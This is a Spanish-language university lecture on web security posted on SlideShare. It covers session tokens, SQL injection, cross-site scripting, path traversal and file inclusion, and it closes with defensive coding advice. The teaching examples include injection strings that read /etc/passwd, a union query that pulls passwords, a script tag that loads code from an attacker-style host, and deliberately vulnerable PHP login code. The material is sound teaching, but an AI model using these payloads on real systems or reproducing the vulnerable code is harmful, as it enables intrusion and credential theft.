SlideShare a Scribd company logo
Seguridad en Web
¿Por qué la web?
¿Por qué la web?
●
Omnipresente
●
Gran superficie de ataque
– servidores de empresas
– servidores personales
– clientes en todas las plataformas
– dispositivos móviles
– configuración de equipos vía web
¿Por qué la web?
●
Muy flexible = muy complejo = hay muchos elementos
– Se puede romper por muchas partes
●
Cliente
●
Servidor
●
código dinámico en el cliente
●
código dinámico en el servidor
●
comunicaciones con base de datos
●
Es difícil verificarlos todos
●
Cualquiera puede = lenguajes fáciles
– programados de forma casual
– se verifican hasta conseguir que la pagina funcione
●
que haga lo que yo quiero que haga
●
Pero no me importa si se rompe por mil partes
●
Nadie se preocupa por que no haga lo que no debe
¿Por qué la web?
●
Porque existe gente a la que no se le debería
dejar programar ni el fin de semana
El modelo de la web
El modelo de la web
●
Clientes y servidores
●
Protocolo HTTP
●
Código en servidor (PHP, ASP, CGI...)
●
Peticiones a bases de datos
●
Dibujo HTML
●
Código en cliente (Java, Javascript...)
●
Formularios
Cliente
Navegador
Servidor
Web
php...
ficheros
DB
js...
motor
dibujo
HTML
HTTP
formularios
El modelo de la web
●
Esencialmente es sin estado
– ¡¡Sin embargo se usa para tener sesiones de usuarios con contraseña !!
●
Como se hacen sesiones en un sistema sin estado?
– Cookies
– otros tokens
●
Se permite al servidor almacenar variables en el cliente
Cliente
Navegador
Servidor
Web
php...
ficheros
DB
js...
motor
dibujo
HTML
HTTP
formularios
Que puedo atacar
Que puedo atacar?
●
Vulnerabilidades del servidor web
– Cada vez más complejos
– Muy revisados por ser los programas más expuestos
– Sus vulnerabilidades se corrigen rápidamente
●
Vulnerabilidades del navegador
– Programas muy complejos
– Las vulnerabilidades duran más
●
usuarios no siempre actualizan
●
El código generando paginas
– Muchas veces escrito de forma poco profesional
– Normalmente input validation de muchos tipos
Que puedo atacar?
●
La autenticación y autorización
– Ataques a los mecanismos de sesiones y autenticación
●
El código en el cliente
– Código inyectado al cliente
●
desde otros sitios
●
en el enlace
●
Gusanos de javascript
●
…
Atacando la WEB
Indice de ataque
●
Seguridad en WWW
– Seguridad en la autenticación
– Seguridad en la autorización
– Ataques de validación de entrada
– Cross-site scripting
Ataques autorización web
Authorization
●
Usando sesiones en un sistema pensado
para ser “sin estado”
– El usuario se autentifica en una pagina
– a continuación navega por el sitio usando
los privilegios ganados
– El sistema debe recordar que se
autentifico
●
¿Como se sabe que la petición esta
relacionada con la autenticación inicial?
– Estoy enviando la autenticación cada vez?
●
en Basic y Digest: SI
– El cliente consigue algo que puede
presentar cada vez como prueba de
autenticación
●
token
Cliente
Navegador
Servidor
Web
user:
pass:
GET
login page
POST u+p
ok
welcome
[comprar]
GET
compra ok
Sesiones
●
3 formas de mantener tokens y sesiones
– Variables de URI
●
Se genera un identificador de sesión aleatorio y en los enlaces de esa sesión se
pasa como variable de GET
– Variables de formularios ocultas (y formularios con POST)
●
Se genera un identificador de sesión aleatorio y en las páginas de esa sesión se
añade una variable oculta a los formularios
– Cookies
●
Permiten almacenar una variable en el cliente que la enviará de vuelta cada vez
que pida una página de ese servidor
http://miweb.com/compras/index.php?session_id=1263716221
<input type=HIDDEN name=session_id value=1263716221>
Sesiones: ejemplo
●
Tokens
– Identifican la sesión
a la que pertenece la
petición
●
Autorización
– Procesa las
peticiones de los
tokens establecidos
user+pass+sid=1001
Cliente
Navegador
Servidor
Web
user:
pass:
welcome
[comprar]
welcome
[comprar]
Cliente
Navegador
sid=1001
sid=1001
sin sid
user:
pass:
sid=3106
sid=3106
producto+sid=1001
sid=1001
sin sid
user:
pass:
Sesiones: ejemplo en PHP
●
Pagina sencilla con autenticación
●
Si la sesión ya existe la variable $dentro nos dice si el usuario ya ha demostrado su
identidad o no
●
Si vienen datos user, pass de un formulario podemos cambiar el valor de $dentro o bien
apuntar que debemos dar error de intento no valido
●
Si la sesión no existía se generara un id y se guardara en una cookie PHPSESSID
<?php
session_start();
$dentro=$_SESSION['dentro'];
$user=$_POST['user'];
$pass=$_POST['pass'];
if ( isset($user) ) {
if ( $user=="yo" and $pass=="pas" ) {
$dentro=1;
$_SESSION['dentro']=$dentro;
} else {
$wronglogin=1;
}
}
?>
Sesiones: ejemplo en PHP
●
El contenido de la página depende de las variables
●
¿Qué problemas tiene esta página?
<?php
if ( $dentro == 1 ) {
?>
<h1>Pagina privada</h1>
No deberias ver esto sin tener la contraseña
...
<?php
} else {
?>
<?php
if ( $wronglogin==1 ) {
echo "<h1 style="color: red;">Error usuario o contraseña incorrecto</h1>";
}
?>
<h2>Demuestre su identidad</h2>
<form method=POST action=./index.php>
User:<br><input type=text name=user><br>
Password:<br><input type=password name=pass>
<br>
<input type=submit name=s value="Enter">
</form>
<?php } ?>
Cookies y sesiones
Sending cookies
●
Al pedir la primera vez la página anterior
●
Al pedirla otra vez
GET /login.php HTTP/1.1
Host: www.unavarra.es
[...]
HTTP/1.x 200 OK
Set­Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content­Length: 414
Content­Type: text/html
[...]
POST /login.php HTTP/1.1
Host: www.unavarra.es
Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9
Content­Type: application/x­www­form­urlencoded
Content­Length: 28
user=minombre&pass=unapalabra
HTTP/1.x 200 OK
Content­Length: 481
Content­Type: text/html
[...]
Ataques a los tokens
●
Pero la cookie que se envía esta bajo el control del usuario
– Navegadores que dejan editarlas
– Si envío la cookie de la sesión de otro usuario me convierto en ese usuario
●
Ataques
– Session prediction
●
¿Puedo predecir qué tokens se estarán usando?
– Session hijack
●
secuestro de sesión
●
¿Puedo robar un token a un usuario autentificado?
●
Session fixation
– ¿Puedo imponer un token a un usuario?
●
¿Para qué me vale?
Ataques a los tokens
●
Session prediction
– Recoger gran cantidad de tokens
– Análisis estadístico..
●
¿se puede preveer información sobre los siguientes?
– Fuerza bruta sobre los tokens más probables hasta encontrar uno que haya sido asignado a un usuario y se haya
autentificado
●
Session hijack (secuestro de sesión)
– Puedo robar un token a un usuario autentificado?
●
Multiples técnicas. Basadas en web o con técnicas de intrusión
Servidor
Web
token=1001
token=1001
Ataques a los tokens
●
Session fixation
– Puedo imponer un token a un usuario?
– Si consigo que un usuario abra la sesión con el token que yo
quiera...
Servidor
Web
token=1001
token=1001
autentificacion
con token=1001
Consejos para programar webs
seguras
●
Usar SSL / HTTPS
– Marcar cookies como seguras hace que solo se transmitan a
través de conexiones HTTPS
●
No programar tu sistema de tokens
– Es muy fácil cometer errores de protocolo
– usar los proporcionados por librerías seguras
●
usar sesiones de PHP en lugar de hacerlas yo mismo
●
Regenerar las sesiones con los cambios de privilegios
– Para evitar session fixation
Input validation
Input validation contra Web
●
Ataques básicos
– Canonicalization
●
Añadir ../ para bajar directorios en una variable que acabara siendo
utilizada para calcular un path
●
Uso de caracteres urlencoded %00 %0a para partir cadenas
●
Ejemplo: ${nombre}.jpg puede transformarse en ../../../../../../../etc/passwd
%00.jpg
– Provocar errores con valores inesperados en campos
●
Información en los mensajes de error
●
Ejecución de comandos con | & ;
●
Si los datos acaban formando parte de un comando a ejecutar
– Ejemplo: añadir ; cat /etc/passwd
– SQL injection
Input validation
SQL injection
SQL injection
●
Ataque de validación de entrada típico
– Lo que escribo como usuario y pass en el formulario acabara en
variables y se usara para construir una query a la BBDD
●
Que ocurre si el usuario escribe cosas de este tipo
– Usuario: 1' or '1'='1
– Pass: 1' or '1'='1
SELECT * FROM login WHERE user='1' OR '1'='1' AND pass='1' OR '1'='1';
$user = $_POST['user'];
$pass = $_POST['password'];
SELECT * FROM login WHERE user='$user' AND pass='$pass';
●
Buscando el usuario…
●
Cuidado con los fallos de seguridad de este código…
– Si usáis este cualquiera podrá entrar
$login_usuario_ok=false;
if ($entrada_login) {
$consulta_usuario="select * from Personas where nombre="".$i_nombre."" and
pass="".$i_pass.""";
$result_usuario=mysql_query($consulta_usuario);
if ( $result_usuario==false ) {
print("error al buscar usuario".mysql_error()."n");
exit();
}
if (mysql_num_rows($result_usuario)>0) {
$mi_info=mysql_fetch_assoc($result_usuario);
$login_usuario_ok=true;
print_r($mi_info);
}
}
Ejemplo: chat.php
●
Que pasa si ponemos un usuario como este?
●
La consulta devuelve todos los usuarios !!!
●
Que hace el código anterior si la consulta devuelve todos los usuarios?
simplemente usa el primero !!
usuario: xxx” or “1”=“1
pass: xxx” or “1”=“1
SQL injection
“select * from Personas where nombre="".$i_nombre."" and pass="".$i_pass.""
select * from Personas where nombre="xxx” or “1”=“1" and pass="xxx” or “1”=“1"
●
Si lo que llega del usuario se supone que tiene que ser texto
sin “ ‘ o caracteres raros, asegurare de eliminarlos
– Con str_replace o similares
– Con funciones de mysql que quitan los caracteres peligrosos
●
mysql_real_escape_string()
Recuerda siempre
$i_nombre = mysql_real_escape_string( $i_nombre );
●
Lo mismo ocurre en los campos de entrada
●
Cuidado si el atacante sabe mas SQL que tu :-)
$recibiendo_userid=false;
if ( isset( $_GET["i_userid"] ) ) {
$recibiendo_userid=true;
$i_userid=$_GET["i_userid"];
}
…
$consulta="select * from Mensajes, Personas where Mensajes.src_nia=Personas.nia and
Mensajes.src_nia=".$i_userid;
Mas inyección SQL
i_userid=52403
i_userid=52403+(select+2>1)
i_userid=52403+union+select+pass+from+users;
●
Si lo que llega del usuario se supone que tiene que ser
un número conviértelo a número
– Aunque venga de un menu
Recuerda siempre
$i_userid = intval($i_userid);
SQL injection
●
Más variedades
– Poner caracteres con significados para SQL como ' " -- ;
– pueden llegar a romper la query y conseguir cosas
– A veces sólo con producir errores que den información de la
base de datos ya es algo
– Técnicas más sofisticadas que obtienen información incluso
aunque no salgan resultados de la query en la pagina
●
Blind SQL injection
HTML injection XSS
HTML injection XSS
●
Insertar código HTML en variables que no esperan HTML, causando que
un atacante tenga control sobre el dibujo de una página ajena
●
Una página que repite la información proporcionada en un campo puede
ser vulnerable
●
¿Qué ocurre si ponemos código HTML?
HTML injection XSS
●
Probamos
– <img src=”...”></img>
●
El HTML no se elimina y llega
de vuelta
– Dominando HTML se pueden llegar
a hacer muchas modificaciones
– Incluyendo añadir secciones con
posicionamiento vía CSS que
oculten otras partes de la pagina
original
HTML injection XSS
●
Pero es más peligroso si incluimos Javascript
– <script>… document.cookie ...</script>
HTML injection XSS
●
Inyectar en un campo
– <script>document.write(document.cookie)</script>
– <script>alert(‘hola’)</script>
– <script src=”http://evilscripts.com/do.js”></script>
– Cualquier cosa que se pueda hacer con javascript puede
hacerse en la página de otro
●
Hasta ahora solo hemos visto como modificar una página
de otro vista en tu navegador.
– ¿Como se puede usar esto para hacer el mal?
HTML injection XSS
●
Si los datos que metemos en un formulario pueden pasarse por GET...
●
http://www.unavarra.es/webmail.php?user=<script>...
– Puedo construir una pagina que enlace a otra metiendo datos que la modifiquen (cross-site scripting)
●
Y no hablamos ya de cuando ese HTML es persistente
– Foros
– Weblogs
– Redes sociales
●
Ampliamente usado para ataques a las cookies:
– Hotmail
– Gmail
– facebook
●
Usado robos de identidad
– consiguiendo que la página de una entidad haga algo diferente
– El usuario confia porque ve claramente que es su banco
●
XSS cross site scripting
– Se refiere a cuando cargamos el código javascript de otra pagina
File inclusion
File inclusion
●
Y si dejo a un usuario subir un fichero
para que lo sirva el servidor?
– Parecido al HTML mirroring…
●
Es peligroso?
– ¡¡¡Nunca dejar al usuario subir ficheros y que
elija el nombre!!!
– PHP inclusion
– PhpShell !!!
Conclusiones
Conclusiones
●
Validación de formularios con javascript es inutil
– Se puede hacer por ayudar al usuario pero el servidor
debe volver a validarlo
●
No dar por supuesto nada sobre los datos de
entrada
– Expect the unexpected
●
Limpiar con expresiones regulares
●
Asegurarse de que solo hay lo que queremos
Conclusiones
●
Asegurarse de que solo hay lo que queremos
Conclusiones
●
Gran variedad de ataques contra la
web
– Contra la autenticación y autorización
– Contra los servidores que alojan las páginas
– Contra otros usuarios de los servidores
●
Es el frente más atacado
– es fundamental comprender en que se basan
para poder defenderse

More Related Content

Similar to Seguridad en la web

Argentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testingArgentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting
 
Asegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWTAsegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWT
Ignacio Martín
 
Seguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPSeguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASP
Marcos Harasimowicz
 
Robo desesionesfinal
Robo desesionesfinalRobo desesionesfinal
Robo desesionesfinal
Miguel Angel Lopez Torralba
 
Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Andrés Iturralde
 
Tema 3 - Seguridad en Internet
Tema 3 - Seguridad en InternetTema 3 - Seguridad en Internet
Tema 3 - Seguridad en Internet
Daniel Pecos Martínez
 
2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado ged2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado ged
Eli Garcia
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Web
acksec
 
Implementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datosImplementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datos
Helmilpa
 
Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5
SemanticWebBuilder
 
Seguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD ModeSeguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD Mode
Zink Security
 
Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013
Iván de León
 
as
asas
S2-PD2-Web Forms
S2-PD2-Web FormsS2-PD2-Web Forms
S2-PD2-Web Forms
Luis Fernando Aguas Bucheli
 
Open platform - Hernan Di Chello / José Garcia
Open platform  - Hernan Di Chello / José GarciaOpen platform  - Hernan Di Chello / José Garcia
Open platform - Hernan Di Chello / José Garcia
fsolari
 
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
SiteGround España
 
Google Analytics para Desarrolladores
Google Analytics para DesarrolladoresGoogle Analytics para Desarrolladores
Google Analytics para Desarrolladores
Bruno Barbieri
 
Vulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHPVulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHP
Moises Silva
 
Disi codeigniter
Disi codeigniterDisi codeigniter
Disi codeigniter
Luis Hernández
 
Asegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivosAsegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivos
Chema Alonso
 

Similar to Seguridad en la web (20)

Argentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testingArgentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testing
 
Asegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWTAsegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWT
 
Seguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPSeguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASP
 
Robo desesionesfinal
Robo desesionesfinalRobo desesionesfinal
Robo desesionesfinal
 
Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8
 
Tema 3 - Seguridad en Internet
Tema 3 - Seguridad en InternetTema 3 - Seguridad en Internet
Tema 3 - Seguridad en Internet
 
2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado ged2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado ged
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Web
 
Implementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datosImplementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datos
 
Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5
 
Seguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD ModeSeguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD Mode
 
Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013
 
as
asas
as
 
S2-PD2-Web Forms
S2-PD2-Web FormsS2-PD2-Web Forms
S2-PD2-Web Forms
 
Open platform - Hernan Di Chello / José Garcia
Open platform  - Hernan Di Chello / José GarciaOpen platform  - Hernan Di Chello / José Garcia
Open platform - Hernan Di Chello / José Garcia
 
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
 
Google Analytics para Desarrolladores
Google Analytics para DesarrolladoresGoogle Analytics para Desarrolladores
Google Analytics para Desarrolladores
 
Vulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHPVulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHP
 
Disi codeigniter
Disi codeigniterDisi codeigniter
Disi codeigniter
 
Asegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivosAsegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivos
 

Recently uploaded

Infografía operaciones básicas construcción .pdf
Infografía operaciones básicas construcción .pdfInfografía operaciones básicas construcción .pdf
Infografía operaciones básicas construcción .pdf
Carlos Pulido
 
NTP 223 NORMAS PARA TRABAJO SEGURO EN ESPACIOS CONFINADOS. Ing. Josue Donoso ...
NTP 223 NORMAS PARA TRABAJO SEGURO EN ESPACIOS CONFINADOS. Ing. Josue Donoso ...NTP 223 NORMAS PARA TRABAJO SEGURO EN ESPACIOS CONFINADOS. Ing. Josue Donoso ...
NTP 223 NORMAS PARA TRABAJO SEGURO EN ESPACIOS CONFINADOS. Ing. Josue Donoso ...
ssuserf8ae19
 
PRACTICA 2 EDAFOLOGÍA TEXTURA DEL SUELO.pptx
PRACTICA 2 EDAFOLOGÍA TEXTURA DEL SUELO.pptxPRACTICA 2 EDAFOLOGÍA TEXTURA DEL SUELO.pptx
PRACTICA 2 EDAFOLOGÍA TEXTURA DEL SUELO.pptx
ANGELJOELSILVAPINZN
 
SESIÓN 3 ÓXIDOS-HIDRÓXIDOS trabajo virtual
SESIÓN 3 ÓXIDOS-HIDRÓXIDOS trabajo virtualSESIÓN 3 ÓXIDOS-HIDRÓXIDOS trabajo virtual
SESIÓN 3 ÓXIDOS-HIDRÓXIDOS trabajo virtual
JuanGavidia2
 
Operaciones Básicas creadora Veronica Maiz
Operaciones Básicas creadora Veronica MaizOperaciones Básicas creadora Veronica Maiz
Operaciones Básicas creadora Veronica Maiz
carolina838317
 
Rinitis alérgica-1.pdfuhycrbibxgvyvyjimomom
Rinitis alérgica-1.pdfuhycrbibxgvyvyjimomomRinitis alérgica-1.pdfuhycrbibxgvyvyjimomom
Rinitis alérgica-1.pdfuhycrbibxgvyvyjimomom
DanielaLoaeza5
 
Aletas de transferencia de calor o superficies extendidas dylan.pdf
Aletas de transferencia de calor o superficies extendidas dylan.pdfAletas de transferencia de calor o superficies extendidas dylan.pdf
Aletas de transferencia de calor o superficies extendidas dylan.pdf
elsanti003
 
Reglamento Interno de seguridad y sdalud en
Reglamento Interno de seguridad y sdalud enReglamento Interno de seguridad y sdalud en
Reglamento Interno de seguridad y sdalud en
Jorge Luis Flores Zuñiga
 
OPERACIONES BÁSICAS (INFOGRAFIA) DOCUMENTO
OPERACIONES BÁSICAS (INFOGRAFIA) DOCUMENTOOPERACIONES BÁSICAS (INFOGRAFIA) DOCUMENTO
OPERACIONES BÁSICAS (INFOGRAFIA) DOCUMENTO
GERARDO GONZALEZ
 
Dosificacion de hormigon NCH 170 actualizada
Dosificacion de hormigon NCH 170 actualizadaDosificacion de hormigon NCH 170 actualizada
Dosificacion de hormigon NCH 170 actualizada
pipex55
 
DIAGRAMA ELECTRICOS y circuito electrónicos
DIAGRAMA ELECTRICOS y circuito electrónicosDIAGRAMA ELECTRICOS y circuito electrónicos
DIAGRAMA ELECTRICOS y circuito electrónicos
LuisAngelGuarnizoBet
 
Infografia de operaciones basicas de la construccion.pdf
Infografia de operaciones basicas de la construccion.pdfInfografia de operaciones basicas de la construccion.pdf
Infografia de operaciones basicas de la construccion.pdf
DanielMelndez19
 
INGLES_LISTA_DE_VOCABULARIO una lista completa
INGLES_LISTA_DE_VOCABULARIO una lista completaINGLES_LISTA_DE_VOCABULARIO una lista completa
INGLES_LISTA_DE_VOCABULARIO una lista completa
JaimmsArthur
 
Libro Epanet, guía explicativa de los pasos a seguir para analizar redes hidr...
Libro Epanet, guía explicativa de los pasos a seguir para analizar redes hidr...Libro Epanet, guía explicativa de los pasos a seguir para analizar redes hidr...
Libro Epanet, guía explicativa de los pasos a seguir para analizar redes hidr...
andressalas92
 
INVENTARIO CEROO Y DINAMICAA FABRIL.pptx
INVENTARIO CEROO Y DINAMICAA FABRIL.pptxINVENTARIO CEROO Y DINAMICAA FABRIL.pptx
INVENTARIO CEROO Y DINAMICAA FABRIL.pptx
FernandoRodrigoEscal
 
METODOLOGIA DE TRAZO Y REPLANTEO EN TOPOGRAFIA
METODOLOGIA DE TRAZO Y REPLANTEO EN TOPOGRAFIAMETODOLOGIA DE TRAZO Y REPLANTEO EN TOPOGRAFIA
METODOLOGIA DE TRAZO Y REPLANTEO EN TOPOGRAFIA
LuisCiriacoMolina
 
Semana 12 - Ley 29973 de las personas con discapacidad.pdf
Semana 12 - Ley 29973 de las personas con discapacidad.pdfSemana 12 - Ley 29973 de las personas con discapacidad.pdf
Semana 12 - Ley 29973 de las personas con discapacidad.pdf
SandyCuenca
 
aplicacion de la termodinamica en la reacciones quimicas.pdf
aplicacion de la termodinamica en la reacciones quimicas.pdfaplicacion de la termodinamica en la reacciones quimicas.pdf
aplicacion de la termodinamica en la reacciones quimicas.pdf
MiguelZapata93
 
Enjoy Pasto Bot - "Tu guía virtual para disfrutar del Carnaval de Negros y Bl...
Enjoy Pasto Bot - "Tu guía virtual para disfrutar del Carnaval de Negros y Bl...Enjoy Pasto Bot - "Tu guía virtual para disfrutar del Carnaval de Negros y Bl...
Enjoy Pasto Bot - "Tu guía virtual para disfrutar del Carnaval de Negros y Bl...
Eliana Gomajoa
 
SLIDEHARE.docx..........................
SLIDEHARE.docx..........................SLIDEHARE.docx..........................
SLIDEHARE.docx..........................
azulsarase
 

Recently uploaded (20)

Infografía operaciones básicas construcción .pdf
Infografía operaciones básicas construcción .pdfInfografía operaciones básicas construcción .pdf
Infografía operaciones básicas construcción .pdf
 
NTP 223 NORMAS PARA TRABAJO SEGURO EN ESPACIOS CONFINADOS. Ing. Josue Donoso ...
NTP 223 NORMAS PARA TRABAJO SEGURO EN ESPACIOS CONFINADOS. Ing. Josue Donoso ...NTP 223 NORMAS PARA TRABAJO SEGURO EN ESPACIOS CONFINADOS. Ing. Josue Donoso ...
NTP 223 NORMAS PARA TRABAJO SEGURO EN ESPACIOS CONFINADOS. Ing. Josue Donoso ...
 
PRACTICA 2 EDAFOLOGÍA TEXTURA DEL SUELO.pptx
PRACTICA 2 EDAFOLOGÍA TEXTURA DEL SUELO.pptxPRACTICA 2 EDAFOLOGÍA TEXTURA DEL SUELO.pptx
PRACTICA 2 EDAFOLOGÍA TEXTURA DEL SUELO.pptx
 
SESIÓN 3 ÓXIDOS-HIDRÓXIDOS trabajo virtual
SESIÓN 3 ÓXIDOS-HIDRÓXIDOS trabajo virtualSESIÓN 3 ÓXIDOS-HIDRÓXIDOS trabajo virtual
SESIÓN 3 ÓXIDOS-HIDRÓXIDOS trabajo virtual
 
Operaciones Básicas creadora Veronica Maiz
Operaciones Básicas creadora Veronica MaizOperaciones Básicas creadora Veronica Maiz
Operaciones Básicas creadora Veronica Maiz
 
Rinitis alérgica-1.pdfuhycrbibxgvyvyjimomom
Rinitis alérgica-1.pdfuhycrbibxgvyvyjimomomRinitis alérgica-1.pdfuhycrbibxgvyvyjimomom
Rinitis alérgica-1.pdfuhycrbibxgvyvyjimomom
 
Aletas de transferencia de calor o superficies extendidas dylan.pdf
Aletas de transferencia de calor o superficies extendidas dylan.pdfAletas de transferencia de calor o superficies extendidas dylan.pdf
Aletas de transferencia de calor o superficies extendidas dylan.pdf
 
Reglamento Interno de seguridad y sdalud en
Reglamento Interno de seguridad y sdalud enReglamento Interno de seguridad y sdalud en
Reglamento Interno de seguridad y sdalud en
 
OPERACIONES BÁSICAS (INFOGRAFIA) DOCUMENTO
OPERACIONES BÁSICAS (INFOGRAFIA) DOCUMENTOOPERACIONES BÁSICAS (INFOGRAFIA) DOCUMENTO
OPERACIONES BÁSICAS (INFOGRAFIA) DOCUMENTO
 
Dosificacion de hormigon NCH 170 actualizada
Dosificacion de hormigon NCH 170 actualizadaDosificacion de hormigon NCH 170 actualizada
Dosificacion de hormigon NCH 170 actualizada
 
DIAGRAMA ELECTRICOS y circuito electrónicos
DIAGRAMA ELECTRICOS y circuito electrónicosDIAGRAMA ELECTRICOS y circuito electrónicos
DIAGRAMA ELECTRICOS y circuito electrónicos
 
Infografia de operaciones basicas de la construccion.pdf
Infografia de operaciones basicas de la construccion.pdfInfografia de operaciones basicas de la construccion.pdf
Infografia de operaciones basicas de la construccion.pdf
 
INGLES_LISTA_DE_VOCABULARIO una lista completa
INGLES_LISTA_DE_VOCABULARIO una lista completaINGLES_LISTA_DE_VOCABULARIO una lista completa
INGLES_LISTA_DE_VOCABULARIO una lista completa
 
Libro Epanet, guía explicativa de los pasos a seguir para analizar redes hidr...
Libro Epanet, guía explicativa de los pasos a seguir para analizar redes hidr...Libro Epanet, guía explicativa de los pasos a seguir para analizar redes hidr...
Libro Epanet, guía explicativa de los pasos a seguir para analizar redes hidr...
 
INVENTARIO CEROO Y DINAMICAA FABRIL.pptx
INVENTARIO CEROO Y DINAMICAA FABRIL.pptxINVENTARIO CEROO Y DINAMICAA FABRIL.pptx
INVENTARIO CEROO Y DINAMICAA FABRIL.pptx
 
METODOLOGIA DE TRAZO Y REPLANTEO EN TOPOGRAFIA
METODOLOGIA DE TRAZO Y REPLANTEO EN TOPOGRAFIAMETODOLOGIA DE TRAZO Y REPLANTEO EN TOPOGRAFIA
METODOLOGIA DE TRAZO Y REPLANTEO EN TOPOGRAFIA
 
Semana 12 - Ley 29973 de las personas con discapacidad.pdf
Semana 12 - Ley 29973 de las personas con discapacidad.pdfSemana 12 - Ley 29973 de las personas con discapacidad.pdf
Semana 12 - Ley 29973 de las personas con discapacidad.pdf
 
aplicacion de la termodinamica en la reacciones quimicas.pdf
aplicacion de la termodinamica en la reacciones quimicas.pdfaplicacion de la termodinamica en la reacciones quimicas.pdf
aplicacion de la termodinamica en la reacciones quimicas.pdf
 
Enjoy Pasto Bot - "Tu guía virtual para disfrutar del Carnaval de Negros y Bl...
Enjoy Pasto Bot - "Tu guía virtual para disfrutar del Carnaval de Negros y Bl...Enjoy Pasto Bot - "Tu guía virtual para disfrutar del Carnaval de Negros y Bl...
Enjoy Pasto Bot - "Tu guía virtual para disfrutar del Carnaval de Negros y Bl...
 
SLIDEHARE.docx..........................
SLIDEHARE.docx..........................SLIDEHARE.docx..........................
SLIDEHARE.docx..........................
 

Seguridad en la web

  • 3. ¿Por qué la web? ● Omnipresente ● Gran superficie de ataque – servidores de empresas – servidores personales – clientes en todas las plataformas – dispositivos móviles – configuración de equipos vía web
  • 4. ¿Por qué la web? ● Muy flexible = muy complejo = hay muchos elementos – Se puede romper por muchas partes ● Cliente ● Servidor ● código dinámico en el cliente ● código dinámico en el servidor ● comunicaciones con base de datos ● Es difícil verificarlos todos ● Cualquiera puede = lenguajes fáciles – programados de forma casual – se verifican hasta conseguir que la pagina funcione ● que haga lo que yo quiero que haga ● Pero no me importa si se rompe por mil partes ● Nadie se preocupa por que no haga lo que no debe
  • 5. ¿Por qué la web? ● Porque existe gente a la que no se le debería dejar programar ni el fin de semana
  • 6. El modelo de la web
  • 7. El modelo de la web ● Clientes y servidores ● Protocolo HTTP ● Código en servidor (PHP, ASP, CGI...) ● Peticiones a bases de datos ● Dibujo HTML ● Código en cliente (Java, Javascript...) ● Formularios Cliente Navegador Servidor Web php... ficheros DB js... motor dibujo HTML HTTP formularios
